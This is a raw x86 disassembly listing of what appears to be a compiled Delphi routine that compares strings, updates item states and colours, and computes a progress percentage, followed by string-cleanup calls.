mov edx, dword [ebp - 4]
call fcn.00407a70
mov eax, dword [ebp - 0x380]
mov cx, 5
pop edx
call fcn.0059aa18
test al, al
je 0x5ab0f5
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5ab110
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x384]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x384]
mov edx, 0x5abcf4
call fcn.00407ecc
jne 0x5ab34b
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x14], 0
jne 0x5ab1af
push 0x5ace28
lea edx, [ebp - 0x38c]
mov eax, dword [ebp - 4]
call fcn.00416704
push dword [ebp - 0x38c]
push 0x5abd60
push dword [ebp - 8]
lea eax, [ebp - 0x388]
mov edx, 4
call fcn.00407dac
mov edx, dword [ebp - 0x388]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
jmp 0x5ab1c4
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
lea edx, [ebp - 0x394]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x394]
lea edx, [ebp - 0x390]
call fcn.00414b0c
mov eax, dword [ebp - 0x390]
push eax
lea edx, [ebp - 0x398]
mov eax, 0x5ace4c
call fcn.00414b0c
mov edx, dword [ebp - 0x398]
pop eax
call fcn.00407ecc
je 0x5ab294
lea edx, [ebp - 0x3a0]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x3a0]
lea edx, [ebp - 0x39c]
call fcn.00414b0c
mov eax, dword [ebp - 0x39c]
push eax
lea edx, [ebp - 0x3a4]
mov eax, 0x5ace74
call fcn.00414b0c
mov edx, dword [ebp - 0x3a4]
pop eax
call fcn.00407ecc
je 0x5ab294
lea edx, [ebp - 0x3ac]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x3ac]
lea edx, [ebp - 0x3a8]
call fcn.00414b0c
mov eax, dword [ebp - 0x3a8]
push eax
lea edx, [ebp - 0x3b0]
mov eax, 0x5ace9c
call fcn.00414b0c
mov edx, dword [ebp - 0x3b0]
pop eax
call fcn.00407ecc
jne 0x5ab2ab
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5acec0
call fcn.004bcc0c
cmp dword [ebp - 0x14], 0
je 0x5ab2c6
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
lea eax, [ebp - 0x3b4]
mov edx, dword [ebp - 8]
call fcn.00407a70
mov eax, dword [ebp - 0x3b4]
push eax
lea eax, [ebp - 0x3b8]
mov edx, dword [ebp - 4]
call fcn.00407a70
mov eax, dword [ebp - 0x3b8]
xor ecx, ecx
pop edx
call fcn.0059aa18
test al, al
je 0x5ab330
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5ab34b
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x3bc]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 1
call fcn.004ff124
mov eax, dword [ebp - 0x3bc]
mov edx, 0x5acefc
call fcn.00407ecc
jne 0x5ab5ab
push 0x5abd60
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x14], 0
jne 0x5ab3ea
push 0x5ace28
lea edx, [ebp - 0x3c4]
mov eax, dword [ebp - 4]
call fcn.00416704
push dword [ebp - 0x3c4]
push 0x5abd60
push dword [ebp - 8]
lea eax, [ebp - 0x3c0]
mov edx, 4
call fcn.00407dac
mov edx, dword [ebp - 0x3c0]
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004bcc0c
jmp 0x5ab3ff
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
lea edx, [ebp - 0x3cc]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x3cc]
lea edx, [ebp - 0x3c8]
call fcn.00414b0c
mov eax, dword [ebp - 0x3c8]
push eax
lea edx, [ebp - 0x3d0]
mov eax, 0x5ace4c
call fcn.00414b0c
mov edx, dword [ebp - 0x3d0]
pop eax
call fcn.00407ecc
je 0x5ab4cf
lea edx, [ebp - 0x3d8]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x3d8]
lea edx, [ebp - 0x3d4]
call fcn.00414b0c
mov eax, dword [ebp - 0x3d4]
push eax
lea edx, [ebp - 0x3dc]
mov eax, 0x5ace74
call fcn.00414b0c
mov edx, dword [ebp - 0x3dc]
pop eax
call fcn.00407ecc
je 0x5ab4cf
lea edx, [ebp - 0x3e4]
mov eax, dword [ebp - 4]
call fcn.00416704
mov eax, dword [ebp - 0x3e4]
lea edx, [ebp - 0x3e0]
call fcn.00414b0c
mov eax, dword [ebp - 0x3e0]
push eax
lea edx, [ebp - 0x3e8]
mov eax, 0x5ace9c
call fcn.00414b0c
mov edx, dword [ebp - 0x3e8]
pop eax
call fcn.00407ecc
jne 0x5ab4e6
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, 0x5acec0
call fcn.004bcc0c
cmp dword [ebp - 0x14], 0
je 0x5ab501
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x14]
call fcn.004bcc0c
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x3ec]
mov edx, dword [ebp - 8]
call fcn.00407a70
mov eax, dword [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
mov edx, dword [ebp - 4]
call fcn.00407a70
mov eax, dword [ebp - 0x3f0]
xor ecx, ecx
pop edx
call fcn.0059abfc
test al, al
je 0x5ab56f
push 0x5abda0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
jmp 0x5ab58a
push 0x5abdb4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
cmp dword [ebp - 0x30], 0
je 0x5ab5ab
push 0x5abe58
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff19c
lea eax, [ebp - 0x3f4]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff124
mov eax, dword [ebp - 0x3f4]
mov edx, 0x5abe58
call fcn.00407ecc
jne 0x5ab61a
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
cmp dword [eax + 0x2b4], 0x1a10d1
je 0x5ab61a
mov edx, dword [0x5bd7d8]
mov edx, 0xdaf9
call fcn.0051a2e8
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
mov edx, 0xdaf9
call fcn.0051a308
lea eax, [ebp - 0x3f8]
push eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x388]
mov ecx, dword [ebp - 0x24]
mov edx, 6
call fcn.004ff124
mov eax, dword [ebp - 0x3f8]
mov edx, 0x5abdb4
call fcn.00407ecc
jne 0x5ab677
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
mov edx, 0x1a10d1
call fcn.0051a2e8
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
mov edx, 0x1a10d1
call fcn.0051a308
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x46c]
mov edx, dword [eax + 0x2c4]
inc edx
call fcn.0051a400
mov eax, dword [0x5bd7d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x390]
mov edx, dword [eax + 0x2c4]
inc edx
mov ecx, dword [0x5bd7d8]
call fcn.0051a400
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x46c]
imul edx, dword [eax + 0x2c4], 0x64
mov dword [ebp - 0x3fc], edx
fild dword [ebp - 0x3fc]
fild dword [eax + 0x2bc]
fdivp st(1)
fstp st(0)
mov eax, dword [0x5bd978]
mov eax, dword [eax]
call fcn.004ed510
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ab815
lea eax, [ebp - 0x3f8]
mov edx, 2
call fcn.004077ec
lea eax, [ebp - 0x3f0]
mov edx, 2
call fcn.0040741c
lea eax, [ebp - 0x3e8]
mov edx, 0xc
call fcn.004077ec
lea eax, [ebp - 0x3b8]
mov edx, 2
call fcn.0040741c
lea eax, [ebp - 0x3b0]
mov edx, 0xc
call fcn.004077ec
lea eax, [ebp - 0x380]
mov edx, 2
call fcn.0040741c
lea eax, [ebp - 0x378]
mov edx, 0xc
call fcn.004077ec
lea eax, [ebp - 0x348]
mov edx, 2
call fcn.0040741c
lea eax, [ebp - 0x340]
mov edx, 0x21
call fcn.004077ec
lea eax, [ebp - 0x2bc]
mov edx, 3
call fcn.004077ec
lea eax, [ebp - 0x2b0]
mov edx, 0x12
call fcn.004077ec
lea eax, [ebp - 0x268]
mov edx, 0x3a
call fcn.004077ec
lea eax, [ebp - 0x180]
call fcn.004077e4
lea eax, [ebp - 0x17c]
mov edx, 2
call fcn.004077ec
lea eax, [ebp - 0x174]
call fcn.004077e4
lea eax, [ebp - 0x170]
mov edx, 0x26
call fcn.004077ec
lea eax, [ebp - 0xd8]
mov edx, 0x23
call fcn.004077ec
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.004077ec
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.004077ec
ret